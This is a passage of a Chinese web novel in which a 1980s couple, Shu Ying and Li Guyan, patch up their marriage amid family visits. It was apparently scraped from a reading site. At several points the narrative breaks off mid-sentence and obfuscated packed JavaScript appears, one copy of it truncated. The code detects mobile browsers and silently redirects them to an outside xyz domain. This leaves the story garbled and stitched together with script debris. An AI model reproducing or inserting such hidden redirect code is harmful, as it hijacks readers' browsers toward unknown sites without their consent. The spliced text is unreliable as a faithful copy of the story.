思及此,李固言轻轻叹出一口气,老老实实地靠体温暖热被窝。 等被窝真的暖热了,他还是觉得不得劲,他缓缓翻身背对着她,又看见床头柜下面敞口抽屉里放着的毛线筐,红色毛衣比之之前的半截又长了许多,两截袖子也勾好了,就差最后缝上去了。 李固言看着它,心里甜滋滋的,像被小猫抓挠,他又转回去看着她的背影。 舒英似有所感地翻了个身,正好正对着他,整个人都缩在被子里,睡颜恬静,头发有些凌乱地散在枕头上。 李固言瞧着她,鼻息之间好像又闻到了那股她身上特有的馨香,他记得这个味道,在他与她紧密接触时最浓密,好像在争先恐后地钻入到他的皮肤孔隙中。 他想到那些火热的画面,心念一动,轻轻挪动身体朝她身上靠过去,等彻底挨着她时,将她身上的蓝被子一点一点拿掉,转而盖上自己身上的碎花被。 她身上的甜香好像又浓了些,冲淡了碎花被里的寡淡,李固言伸手揽住她,将她紧紧拥在怀里。 舒英好像对他的怀里有身体记忆,被他拥住后,自动在他怀里找了个舒适的位置,精致挺翘的鼻子微微刮蹭着他的脖颈,湿热的呼气均匀地喷洒在上面,痒得李固言下意识绷紧身子。 李固言心满意足地看着怀里的佳人,低头在她额头上浅浅印了一个吻,有力的双臂揽住她沉沉睡去。 舒英早上醒来时,两人还保持着这个姿势,她盯着眼前的一堵人墙,眼里有些疑惑,她记得自己昨天晚上是一个人睡的,怎么会在他怀里醒来,还盖着他的碎花被。 她是知道自己的睡相的,一向老实的不能再老实,绝对不可能是自己进的他被子,那就只有一个原因,是李固言把她拉进来的。 舒英不悦地伸手拍了他一下,拿开身上的手臂,从床上坐起来,李固言被她的动作吵醒,揉了下眼角看着她,许是刚睡醒,看着她懵懵懂懂,头发柔顺地垂在额前,微微遮住眉毛。 他这一副逆来顺受的小媳妇样,和清醒时的沉默寡言截然不同,反而让舒英不知道该说什么的好。 舒英把到嘴边的话咽下去,转而道:“该起来了。” “好。”李固言慢腾腾的穿衣服,眼睛却时不时的瞟向她,打量着她的神色,见她没有生气,轻轻扬了扬唇角。 舒英却没管他,穿好衣服后去刷牙洗脸,然后做早饭。 早饭一贯就是那些,红薯稀饭配个买的馒头包子或者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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悠扬欢快的音□□过房门飘荡进他耳中,他和舒英刚结婚时,经常能听到舒英拉手风琴,有时候是这首歌,有时候是《光阴的故事》,有时候是时下流行的歌,她断断续续不熟练的拉着片段。 李固言推开远门,到了房间门口没有进去,而是倚着门框看着房间里的人,她左手指尖按着贝斯上的黑色原点,右手手指在黑白琴键上上下翻飞,风箱随着旋律左右拉开合上。 正当午的阳光透过玻璃窗照进来,将她的影子投照在地面上,轻盈灵动。 李固言笑起来,眼神温柔地注视着她,在这一瞬间,他突然觉得他的那些执念好像都可以放下,不用去管她心里有没有放下那个人,不用去管她究竟有没有爱上他,只要她还在他身边,只要她还哼着歌拉着手风琴眼神看向他就好。 一曲毕,舒英把手风琴合上,抬头对李固言道:“饭在厨房,现在估计有些冷了,你热一热再吃。” “好。”李固言点头,笑着转身去了厨房。 舒英不明所以然地看了他一眼,又低下头将手风琴收起来,好久没拉了,感觉还是有些生疏了。 她捏了捏被肩带勒得有些难受的肩膀,打了个哈欠后上床睡午觉。 9. 第 9 章 今天晚上李固言不用加班,吃完晚饭就在房间看书。 舒英打开电视,坐在床边将剩下的毛衣织完, 李固言说是看书,其实注意力全在那边,见她将毛衣收好边后,就等着她叫自己过去试穿,结果左等右等她就是不喊他。 李固言将书翻了一页又一页,一个字都没看进去。 舒英将毛衣织好就放回床边柜,转身上床坐进被子里,今天《义不容情》重播大结局,她要好好看,之前几次重播每次到大结局的时候她都忘记看,以至于这部电视剧看了好几遍就是没看过大结局,虽然结局的内容早就从别人口中知道了,但还是要自己看一遍才安心。 李固言听到她上床的动静,知道她是不会让自己去试那件红毛衣了,表情僵了一瞬,轻叹一口气,将手里的书合上,也过去上床。 电视的声音响着,舒英目不转睛地盯着看,没管他上没上来。 李固言偷偷瞥了她一眼,见她看得认真,也老老实实坐在旁边陪她一起看。 两集电视剧放完后,舒英用遥控器将电视关上,终于心满意足,拿掉身上的外套后,整个人往下滑,身子全都滑到被子里,准备睡觉。 李固言见她又背对着自己睡,无奈地伸手将灯拉灭后也躺下。 但躺下了又不是很甘心。 舒英本来也是真困了,闭上眼睛后,没一会儿的功夫,就觉得要陷入梦想,而就在这时,她突然感觉自己身后的被子动了动,本来密闭的温暖小空间也钻进来一道凉风。 再接着进来的是一只大掌,不老实地覆在她腰上,舒英一瞬间清醒,睁开眼,伸手抓住那只手,按捺住想要一同进来的男人。 李固言是听着她睡着了才敢钻她被窝的,这几天他都是趁着她睡着后再搂着她睡,她早上起来也都没有说什么。 没成想,这回正好被抓了个现成,李固言有些尴尬地僵住身体,放在她腰上的手不动也不是,伸回也不是。 舒英坐起身面对着他,直视着他的双眼目光灼人,明明没有开口,但眼中却好似有千言万语般,被她这样盯着,李固言浮躁的心慢慢也沉静下来。 舒英声音不大,语气淡淡,问:“你不想分被子睡?” 李固言默默点头。 舒英一时没有开口,过了会儿她又问:“那我回娘家那天,你为什么没有来接我,回来后又为什么那个样子?” 本来她就已经做好了跟他朝着书中局势发展的准备,是他这段时间一直有意讨好,她也都看在眼里,但这件事也一直梗在她心里,她到现在都不知道为什么他突然就变了样子,也不能接受他连一句解释都没有就想将其掩盖过去。 李固言没想到她会问这件事,更没想到她会这么直白地问出来,有那么一瞬间他很想问她,那个严建中跟她到底是什么关系,他们两人之间又有多深的感情,但话到嘴边,他又心生怯意,他不敢。 他若是敢的话,就不会憋到现在,他会在刚知道的时候去问她。 最开始他就不敢问,他怕话说出口,他们连夫妻都没得做,她的性格他知道,看着温柔沉默,其实骨子里最倔又要面子,若真将这一层窗户纸捅破,恐怕她要跟自己提离婚。 李固言也坐起来,长长的睫毛微微下垂,在眼下扫出一片阴影,唇齿微张道:“我那天去了。那天厂里一台机器出了故障,我去修,一时忘记时间,等修好时才发现都快六点了,我骑车到那,你已经回来了。” 舒英听完追问:“那你为什么那天到八点多才回来,回来又一直坐在外面不进屋,我出去你也不说话。” 李固言吞了吞口水:“我怕你怪我忘记时间去接你,就没敢进来,也不敢跟你说话。” “是吗?”舒英不是很相信他的这副说辞,但他既然这么说了,她也不能说什么,反正他不想说,问也是问不出来的。 李固言不知道她信不信,他伸手去寻她的手,她没有抗拒,任由他把她的手包在手里,声音有些沮丧:“对不起,我没想让你难过的……” 舒英看着他的表情,他表情真挚不似作伪,她一时不知道自己该说什么,是要说没关系吗? 最终她什么都没说,安安静静地躺下去,闭上眼睛准备睡觉。 李固言不知道她有没有原谅自己,也不知道自己现在要做什么,是老实地睡在自己被子里,还是厚着脸钻她被子里? 就在这时,他脑中莫名就想起了丁朋义教导小方的一句浑话来:“烈女怕郎缠,都是一个被窝里的夫妻,你就硬搂上去,她还能打你一顿吗?她打你她能舍得?” 李固言还真不知道自己要是搂上去,舒英会不会打自己一顿,要真打了,她还真一定舍得,毕竟他们现在还真不算是一个被窝里的夫妻。 李固言真是要被自己无语到,都这个时候了,他还能想到这些有的没的来。 不过丁朋义的话也算是有点道理,他就搂上去试试,她要是不愿意,最坏的结果也不过就是维持现状的分被子睡了。 说服自己后,李固言小心翼翼躺下,朝她旁边凑了凑,伸出手试探性地环住她腰间,静静等了一会儿她的反应。 见她没有拒绝,李固言无声笑了下,放心地彻底进到蓝色被子里,整个人从她后面包裹住她,两人之间密不可分。 不管两人睡着后姿势如何变化,李固言总是维持着将手臂环在她腰间的状态,舒英贴着旁边的大热源,也觉得这一觉睡得畅快。 早上起床的时候,李固言是神清气爽,还趁着她没醒时偷偷在她唇上啄了一下,看时间还早,他提前将闹铃关上,起身去厨房准备早饭。 等早饭差不多做好后,再去叫舒英起床,好让她能多睡一会儿。 吃过早饭收拾好后又各自去上班。 不得不说,两个人毕竟住在一个屋檐下,还睡在同一张床上,关系变好后,心情也跟着放晴,舒英上着班,明显觉得今天比前几天要放松许多。 中午下班后她还绕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739141|157456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道去菜市场割了点新鲜的猪肉回来,准备待会儿用青椒炒一炒,爆油微辣,不管是配米饭还是吃馒头都好吃。 舒英拎着肉往家走,还没到家就看到家门口坐了一个人,她下意识速度放慢,去分辨那个人是谁,那打扮穿着,除了她婆婆还能有谁? 舒英加快脚步上前,“妈,您怎么这时候来了?怎么不提前给我们打个电话,我们好给您留个门。”边说话便从包里掏出钥匙开门。 李妈个子高又清瘦,笑起来脸上也没多少肉,“我在家蒸了馒头,蒸多了,我跟你爸也吃不完,正好我今天没什么事,就想着给你们送一篮子过来。”她掀开篮子上盖着的白色蒸布,底下的馒头白白胖胖。 舒英将婆婆迎进门,把肉拎进厨房,顺带洗了个手,出来笑说:“妈蒸的馒头一绝。” “是,固言从小就喜欢吃我蒸的馒头。”说完李妈朝门外看了看,“固言还没下班?” “没呢,他十二点下班,有时候厂里可能还要再加会儿班,不定什么时候回来。妈,您坐。”舒英拉了椅子给她倒了杯热水,又问,“妈,您还没吃饭呢吧,正好我刚买了肉回来,我炒几个菜配着您带过来的馒头吃。” 李妈喝了口水笑吟吟道:“行,现在做饭,等固言回来差不多也能开饭了。” 婆婆来了,舒英不好再像平时一样随便炒两个菜,总得稍微隆重一点。 舒英炒菜的时候,李妈也进厨房里看着。 舒英炒菜喜欢多放油,油多一点滋味也够,李妈不喜欢,她道:“别放那么多油,油多了对肠胃不好。” 舒英笑了笑,顺从地减少油量。 等她要放辣椒提味时,李妈又道:“辣椒也放一点点就行,固言从小口味就清淡,吃不了辣。” “好,那我就放半根。”舒英点头应下。 李妈笑脸盈盈,站在旁边道:“固言小的时候,我们家里穷,能有一盘花生米几个孩子都乐得不行,那没钱怎么办,就只能从嘴里省,我那时候一块肉能炒好几道菜。” 舒英听这话就只笑,也不出声。 李妈叹口气,“我们那时候是比不得你们家的,你爸妈都是食品厂的,你小时候是不缺吃。不过也幸好几个孩子懂事,也都争气,固言大学毕业,固萱也考上了大学。” 舒英垂下眼,手中铲子挥动,肉片在油中翻动,“滋滋啦啦”地响,香味直往上冲,她知道婆母这话可不是在夸她。 李妈对她其实不是很满意,李固言毕竟是大学生,还是81年上的大学,工作包分配,工资还不低。 当初和她相亲时是觉得她家是城市户口,父母都是双职工,兄弟姐妹也都有工作,跟李家也算是门当户对,李妈对她家庭尚算满意,可还是觉得儿子值更好的。 对此,舒英也是理解的,也庆幸她跟李固言有房子,不用跟他们一起住,要不然还不知道要生多少事端。 李妈见她没搭腔,也就不再说,帮着将炒好的菜端到外间。 10. 第 10 章 李妈蒸的馒头还很煊软,但有些凉了,舒英用竹篦子坐在锅里用热气又哈了一会儿。 菜还没炒完,李固言就回来到了,李妈听到声响连忙迎出去,脸上笑着:“固言下班啦?今天忙不忙,累不累?” 李固言对于李妈今天过来也很惊讶,“妈?你什么时候来的?怎么不提前打个电话?” 李妈笑眯眯道:“我也好长时间没看到你了,正好今天蒸了馒头,给你们送过来。” 李固言将外套脱掉:“我最近太忙了,天天在厂里加班,等下次休息就回去。” “我还能不知道你忙吗?等什么时候你闲了再回去,妈又不急。” 李固言听厨房里的炒菜声,挽了袖子就准备进去,李妈看到他动作,面色一顿,眼中就显出不悦来,“你这上一上午班了,坐下来歇歇,待会儿吃完饭再去睡一觉,要不然又累一下午,身体吃不消。” “没事妈,我年轻呢。”李固言笑笑,侧身进了厨房,洗过手后凑到舒英身后问,“炒的什么菜?要我帮忙吗?” 他一进来,李妈也跟着进来,小小的厨房哪能磨开这么多人,舒英摇摇头说:“最后一道菜了,马上就好,妈好不容易来一趟,你出去陪妈说说话儿吧。” 李爸李妈跟他们不住在一个区,离得有些远,比舒家还要远些,平时都要上班的,也没什么时间互相走走,李固言能休一整天的少,多半都是半天半天的休,舒英休息,也不会想一个人去婆婆家。 舒英话音刚落,李妈就拉着李固言出去。 舒英将最后一道菜盛出来,将馒头拾到篮子里,拿了筷子,一同端出去。 李妈见菜上齐后,将筷子分给李固言,又给他碗里夹了一块肉,“多吃点,我瞧着你比我上回见你又瘦了点。” 李固言:“这段时间忙,再过段时间就好了。” 李妈又把话题转到舒英身上:“小英,你们医院怎么样?忙不忙?” “我们医院还好,病人不是很多,药房里也比较清闲。”舒英笑笑。 “你们二院是舒服点,你姐那一院真是,天天忙得脚不沾地的。”李妈笑起来,“咱家三个孩子,老大老二都这么忙,也不知道等固萱毕业了要分配到哪。” 舒英:“固萱成绩好,工作分配肯定不会差的。” “就希望如此才好。” 吃完饭后,舒英起身收拾桌子,李固言也跟着帮忙,李妈瞧了拉着他:“你别收拾了,我跟小英收拾,你赶紧去睡一觉,睡醒了好去上班。” 舒英进了厨房,没管母子俩说什么,她打开水龙头,流水哗哗往下淌,接了半盆冷水,又拿起暖瓶兑了点热水进去。 李固言端着脏盘子进了厨房:“没事妈,也不急这一会儿。”又洗了抹布拿出来将餐桌擦干净。 李妈笑了笑:“你小时候就好跟在你姐屁股后面一块儿帮我干活。” 擦过桌子后,李固言还想拿拖把把地拖了,李妈就赶紧推着他进屋,“行了,你抓紧时间睡觉,这边也没什么事了,我来干就行。” 舒英闻言默默看了眼厨房里用过的锅碗瓢盆,湿淋淋被踩来踩去的地面,行吧,婆婆说没什么事就没什么事吧。 舒英撸起袖子,用丝瓜瓤将锅碗瓢盆一个个刷洗干净。 她们婆媳之间相处的其实不多,也就是年节下三不五时的回去一趟,后来跟李固言感情变淡后,她回去的就更少了,也就一些必须去的节日去一下。 李妈舍不得自己的儿子干活,也不能一个人在外间干坐着,就拿着抹布在厨房里有一搭没一搭的擦两下,顺带跟舒英聊天。 舒英嘴上应付她的同时,又想起那本书里的内容,书里的女主是即将大学毕业的女学生,到李固言的公司里实习,给他当助理,故事开始于99年,李固言34岁。 女主年轻,性格也很活泼开朗,在李固言离婚后跟她确认关系,李固言把她带回李家,李妈对她满意得不行,配她儿子的终于是个大学生了,而且家境还很不错。 舒英从书里看李妈对她的态度,那跟在自己面前的简直不是同一个人。 要说李妈对待舒英虽然有些挑剔,但总体来说还是过得去的,只是看不惯她使唤她儿子干活,虽然她自己也说儿子没结婚时在家也做家务,但舒英瞧,这时候有儿子的人家,不管儿子婚前干不干活,都想让他婚后当土皇帝。 人不患寡而患不均,舒英觉得自己嫁给李固言后,也算是对他们二老进了该进的孝道,逢年过节该买的礼从来不少,该拿的钱也没少过一分,但李妈看向她的眼神里总是带了点不满意。 而未来的女主什么都没做,只是跟她见了一面就被她喜欢得紧,做点什么好东西都要寄过去给女主尝尝,舒英嫁给李固言这两年可从来没享受过这中待遇。 想到这,再看向旁边还在规训她、婉言劝她不要让李固言中午回来还插手家务的李妈,舒英笑了笑:“妈说的是,我知道妈是心疼我跟固言上了一上午的班辛苦了,这样子,以后中午我就从食堂打两份饭回来,有菜有肉的,也省得我们做了,省出来的时间我也能多睡一会让。” 李妈皱了皱眉头,“这样肯定是不行的,饭菜还是自己家里烧的干净,自己做也省钱。” 舒英将台面上的最后一点水擦掉,双手向后脱掉身上的围裙,在水龙头下冲了冲手:“妈,你手巧,固言一直说我做的饭没您做的好吃,我想固言肯定也遗传了您的手艺。” 话意就是既然自己烧菜又干净又省钱,那不如以后都让李固言做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739142|157456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 李妈听出来了,也不好再说什么,毕竟他们两个独门独户的,以后要是舒英真让李固言天天做饭,她也见不到,也阻止不了。 话说到这,李妈起身笑道:“日子还是你们小两口一块儿过的,你们怎么样,我跟你爸也管不着,只要你们自己过得开心就行,你们开心了,我们做老人的也跟着高兴。” 舒英抿唇笑笑:“妈要不要在这睡个午觉再回去?刚吃完饭容易困。” “不用,你们下午还上班,你们睡吧,我现在走了,回去还有事情要做。”李妈看眼时间,也快到他们上班的时候了,他们都走了,她自己一个人留在这干嘛。 李固言这时候从里屋出来,穿上外套道:“妈,我送你去公交站台。” “你怎么起来了?你再睡会儿,又不远,我慢慢走过去就行。”李妈看着他脸上压出来的红痕,他也就睡了不到二十分钟,“你再进去睡会儿。” “不用,睡多了也容易犯困。”李固言穿上外套,把自行车推出院子,“妈我送你过去。” 舒英站在门口微笑着看着两人出去,等看不到人影后将房门关上,看着墙上的表打了个哈欠,还能再躺一会儿。 李固言将李妈送到站台后就骑车回来,到家的时候,舒英正拎着包准备去上班。 舒英问:“妈坐上车了?” “坐上了。”李固言看着她说,“我骑车送你去医院吧。”他昨天晚上刚跟她重归于好,今天中午回来本来是想跟她能多待一会儿,只是没预料到他妈会突然过来。 舒英忙了一晌午,也的确是不太想走路,点点头侧坐到自行车上。 本来离得就不远,骑车就更近了,不过骑车风大,但好在舒英坐在后面,有风也都被李固言挡住了。 有一段路不太平整,坐在自行车上颠得慌,舒英紧紧环住李固言的腰,缩在他身后。 李固言笑了笑,迎头扑过来的冷风也觉不出冷了。 舒英没他心里的那些弯弯绕,从车上下来后,将围巾裹了裹,就要进楼。 李固言喊住她道:“我们晚上别做饭了,去下馆子吧?” 这边正是风口,风吹过来,舒英的围巾都要被吹散了,她不想在这边站着,点点头答应。 李固言又说:“那我晚上来接你,不回家了,直接去下馆子。” “行。” “那你想吃什么?是吃面还是吃汤锅?或者烤肉也行。” 舒英皱皱眉,她真觉得冷风都要钻进她衣服里了,“等下班再说吧。” “好,那我五点来接你。”李固言还欲再说,舒英却已经转身朝楼里走了。 李固言也不在意,长腿用力一蹬,自行车轮立马向前滚出去,来时迎风,现在顺风。 11. 第 11 章 今天天气有些阴沉,风不小,舒英快下班的时候一直看着窗外。 小胡注意到她的动作问:“姐,你看什么呢?” “我看外面的风,今天风有点大。”舒英将今天最后的工作做完,往更衣室走。 小胡跟在她后面,“我待会儿得快点了,要不然到家天都黑了。” 舒英笑笑,看着她小跑的背影,又扭头看了眼窗外,外面没人,李固言还没来。 舒英换好衣服,将帽子围巾戴上,又往外看了眼,李固言正在门口等着,不知道什么时候到的,她赶紧拿出包,将柜门锁好出去。 李固言一下班就朝这边过来,骑了一路的车,倒是不冷。 舒英一从楼里出来,李固言就看见她,朝着她走过来,舒英看着他,他里面穿着深蓝色洗得有些泛白的工服,外面套了一件黑色厚大衣,宽肩长腿,明明没有穿西装打领带,头发也只是简单的梳开,却给人一种《上海滩》许文强的感觉。 舒英坐在自行车后座揽着他的腰,当初答应跟他结婚,第一是因为他有房子,第二就是因为他长得好,个头高,剑眉星目,鼻梁高挺。许是多年浸染在理工科中,他不常笑,要笑也只是微笑,使他的气质中平添了几分克制严谨。 舒英是第一次见到这种人,当下便被迷了眼。但他心思深,话又少,除了床上热情,下了床总是冰冰凉凉的,她琢磨不透他在想什么,后来能冷战到那种程度也有这个原因。 离这不远处有一条街叫马六街,比较热闹,什么店都有,一般说下馆子都是来这边。 到了马六街,舒英从车座上下来,李固言推着车走,边走边问:“你想吃什么?” “吃那家鸡汤火锅吧,今天太冷了,吃点热的。”舒英指着一家店回答。 “好。”李固言点头,将车推到店门口,锁到旁边树上,跟舒英一起进店。 舒英扭头看了眼自行车,这年头偷车的不少,不管新车旧车,不锁上分分钟就被人骑走。 不过现在自行车也比较普及了,好多有点钱的人家里还买了摩托车、小轿车,舒英记得书里写李固言就有一辆纯黑色的什么牌的摩托车,还在大晚上带女主兜风,想到这,她忍不住看了眼对面的李固言。 李固言迎着她的目光,疑惑地提了提眉,舒英收回视线摇摇头。 滚热的锅子被端上来,鸡汤氤氲着,李固言拿碗盛了碗汤递给她,舒英喝了一口,热乎乎的,带着鸡肉的鲜美。 外面风大,饭店的门紧紧关着,各个桌子上的鸡汤火锅都蒸腾着热气,整个大堂都暖烘烘的。 吃完饭,李固言起身去付钱,舒英重新围上围巾戴上帽子。 外面的天已经黑了,玻璃门一拉开,冷风迎面扑来,舒英没忍住打了个激灵。 两人到家,舒英赶紧打开门进去,房间里亮起灯,她进厨房去烧热水洗漱。 李固言到房间打开书桌上的一个抽屉,拿出里面的东西。 舒英洗漱好后正准备进屋叫李固言去洗,就见他递上来一件东西。 舒英不明所以地看了眼,是他的存折,她没接。 当初刚结婚的时候,俩人都不怎么熟,谁都没提过工资怎么处理,舒英更不会去主动要他的工资。 不过好在他也不是那种会占便宜等着女方养的人,每次发了工资都会主动拿出一部分放到电视机下面的盒子里。 舒英也会把自己工资的一部分放进去,她工资没他高,放的也没他多,但盒子里的钱足够他们用了,每月用剩下的就还在盒子里放着,谁也不拿走。 交完家用,剩下的工资就各人存各人的,舒英没问过他的存款是多少,也没跟他说过自己有多少钱。 舒英略过他,坐到床上去,床上的碎花被不知什么时候被他收起来了,她也没管,随口问道:“你怎么把这拿出来了?” 李固言也跟着过来,将存折放她手里,微微低头说:“这是我这些年存的钱,你帮我收着吧。” 舒英看着手里的存折没说话,她是觉得自己最好不要拿这个钱,谁知道两人以后到底能不能走下去,又能一起走多久。 李固言见她不想收,直接起身将存折放到盒子里,道:“这样咱家回头缺什么,你直接买就行,不用问我。”他在“咱家”两字上声音加重了点。 舒英听懂他的画外音,看了他一眼,点点头表示自己清楚了。 李固言这才如释重负地去洗漱,洗完后又一身轻松地进屋。 今天晚上他不用去厂里。 天气冷,舒英也懒得伸手打毛衣,干脆就坐在床上看电视,李固言看看她又看看桌子上的书,起身脱掉衣服也去床上坐着。 他这一掀被子,带进来一股寒气,衣服上也是冰冰凉凉的,又要挨着舒英坐,舒英就穿了一件单衣,不自在地动了动。 李固言知道自己冷到她了,进了被子后就赶紧老实下来,将被子的边边角角都掖好,不留一点缝隙。 李固言体温高,被子里没多长时间就开始升温,电视声音也开始变得忽近忽远,舒英眼皮耷拉着,眼瞧着马上就要睡着。 李固言手指动了动,在她头即将歪下去的时候伸手撑住,舒英瞬间又清醒过来,打了个哈欠,脱掉上半身披着的外套,身子向下滑,脑袋枕在枕头上,闭上眼就要睡过去。 李固言笑了笑,也将自己的外套脱了,伸手把电视和灯关上,跟着她一起倒下去。 被子里暖烘烘的,舒英小脸被蒸腾着,脑中逐渐迷糊,昏昏欲睡,这时,身后的人靠上来,长手一伸搭在她身上,将她紧紧抱住。 一连阴了好几天,终于是放晴了,太阳出的高高的,晒到院子里,亮堂堂,一点阴影都瞧不见。 舒英把被子都抱出来,搭在麻绳上晒,拍拍打打的,让阳光透到棉花里去。 “阿姨?” 院门被叩响,舒英连忙应了一声,“来了来了。” 她把门闩拿掉,远门朝里拉开,门外站着一位十几岁的女孩,扎着马尾,手里端着一个盘子,是隔壁吴家的大闺女吴晓丽。 因为舒英称呼隔壁吴哥吴嫂,所以吴家的两个孩子就叫她和李固言叔叔阿姨了。 “阿姨,我妈做了拔丝地瓜,让我给你端一盘过来。”吴嫂是东北人嫁到安城的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739143|157456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 舒英连忙接过盘子领着吴晓丽进屋,笑道:“嫂子怎么今天做这个了?你们家来客人了?”不怪她疑惑,拔丝地瓜做起来挺麻烦的,她跟着学了好几次都没成功。 “没有,我妈说家里地瓜太多了,正好她今天休息没什么事,就做了一锅。”吴晓丽笑起来,正上初中的小姑娘,眼神清丽,皮肤滑腻,笑起来乖乖巧巧的,舒英喜欢得不行,轻轻在她脸颊上捏了捏,把柜子里的零食拿出来。 两人正说着话,就听见隔壁一声怒吼:“吴晓明!好好写作业!” 是吴嫂的声音,舒英和正喝牛奶的吴晓丽对视一眼,都笑起来,“你弟弟又惹你妈生气了?” 这吴家姐弟俩一个乖巧成绩好,一个就是泼猴下凡,成天调皮捣蛋,住在吴家隔壁,没有哪一天是听不见吴晓明挨骂的,挨骂的原因还都不重样,也是神奇了。 吴晓丽立马解释道:“他上课不好好听,在前面同学的衣服上乱画,前面同学哭着告老师,然后我妈就又被叫家长了,不光要我弟检讨道歉,我妈还把同学的衣服拿回来洗干净,结果他在家还不好好写作业。” 舒英吃了一块拔丝地瓜,外酥里糯,甜滋滋的,听完她的话忍不住笑起来,“那你妈妈要气炸了。” 马上要吃午饭了,吴晓丽喝完牛奶后拿着舒英塞给她的面包饼干回去。 舒英:“盘子我等会儿洗好送过去。” 吴晓丽刚走没多久,李固言就回来了,他今天下午休半天,不用去上班,两人说好去看舒秀珍,她日子越来越近了,估摸着不是年前就是年后。 李固言进屋看见桌子上的拔丝地瓜问:“你做的吗?” “吴嫂子送的。”舒英将自己炒的菜端出来,一并放到桌上。 李固言洗了手顺手拿了筷子出来,两人吃午饭。 午饭才吃一半,隔壁又响起吴晓明的哭声,两人听到后,对视一眼笑了笑,舒英道:“晓丽晓明姐弟俩在咱们家属院也是出了名的,一个是出了名的优等生,一个天天被叫家长。” 李固言低头闷声笑了笑。 吃完饭后,李固言收拾残局,舒英把洗干净的盘子送到吴家去。 吴嫂子这时正叉腰站在桌前死死盯着抽抽噎噎的吴晓明写作业,见到舒英进来,紧皱的眉松开道:“吃完啦?” “吃完了,还是一如既往的好吃。”舒英把盘子递给旁边的吴晓丽,吴晓丽接过去放回厨房。 吴嫂子看着又开始跑神的吴晓明,伸手就是一巴掌,重重拍在他背上,“好好写!”又转过头对舒英道,“真气死我了这小子。” 舒英笑了笑,劝慰道:“还小呢,长大了就懂事了。”身为外人顶多也就是劝两句。 “都三年级了,什么时候才能长大啊。”吴嫂子重重叹了一口气,摇了摇头问,“下午在我家玩会儿?” “不了,我姐快生了,正好李固言今天下午休息,说一起去看看。” 孩子出生是个值得期待的事情,吴嫂子笑起来,“今年也没多长时间了,你姐姐还能生个蛇宝宝。” 舒英也笑:“还不一定,说不定是个马宝宝。” 12. 第 12 章 从吴嫂子家里回来后,舒英换了身衣服,带着给未来外甥或外甥女做的两双虎头鞋还有提前买好的东西出门。 两个人坐公交车过去,午后的太阳从车窗晒进来,玻璃窗隔绝了寒风,只剩下暖阳,公交车晃晃悠悠的一站一停,本来不困的都被晃悠困了。 舒英枕在李固言颈窝处,眯着眼小寐。 李固言要注意着不能坐过站,还要搂着舒英以免因为猛然刹停的公交车磕到,所以没有睡,扭着头看窗外的风景。 冬天了,路边的树都光秃秃的只剩下枝桠躯干,车子行驶半天也见不到一点绿意,但暖洋洋的阳光却又很恰当地中和了这份荒凉感。 他的视线转到左肩处的舒英,和煦的阳光照在她光洁的脸上,显露出皮肤上小小的绒毛,她面容平静,头发微卷,跟两年前他第一次见到她时几乎没有任何变化。 相亲时他因为厂里机械突然出故障来晚了,在去的路上就在想女方会不会已经回去了,虽然心里不抱希望,但他还是到了约好的那家餐厅。 等他气喘吁吁地进了餐厅,找到桌号时,她当时正坐在窗边百无聊赖地吃着一块奶油蛋糕。 那时是春天,窗外景色绿意盎然,一米阳光透过树叶的缝隙斑驳地照在餐桌的红格子餐布上,她那时左手撑脸看向窗外,右手拿着精致小勺有一下没一下的舀着蛋糕放进嘴里。 后来的事情便水到渠成,第二天就去了民政局。 回忆当时,李固言也很惊讶自己怎么会有勇气提出第二天去民政局的,话说出口的那一瞬,他清楚地看见了对方眼里的惊愕,就在他要为自己的无礼道歉时,清清楚楚地听见了她答应的声音。 她说:“好。” “快到了吗?” 思绪回笼,肩上的重量离开,李固言眨了下眼,回道:“还有两站。” “嗯。”舒英坐直,手指捏了捏眼角。 舒秀珍毕业后进了纺织厂,后来和同厂的会计严磊结婚,但他们没分上房,是严家出钱在纺织厂旁边楼房买了一间小房子,够小两口住的。 她预产期还有一个多月,舒妈在家和王梅婆媳俩也合不来,干脆就又搬过来照顾大闺女。 舒英和李固言到的时候,几个人正在家里看电视呢,因为提前打过电话,所以知道他俩会来。 李固言拎着水果和奶粉,舒英抬手敲门。 舒秀珍大着肚子坐在沙发上,推了推严磊:“快去开门,肯定是我妹他俩。” 铁门被从里面打开,舒英对着眼前有些清瘦文气的男人笑道:“姐夫。” 李固言也跟着点头:“姐夫。” 严磊连忙伸手要接过他手里的东西,“我来拿我来拿。” 跟在后面慢腾腾出来的舒秀珍看见嗔道:“怎么拿这么多东西过来。” 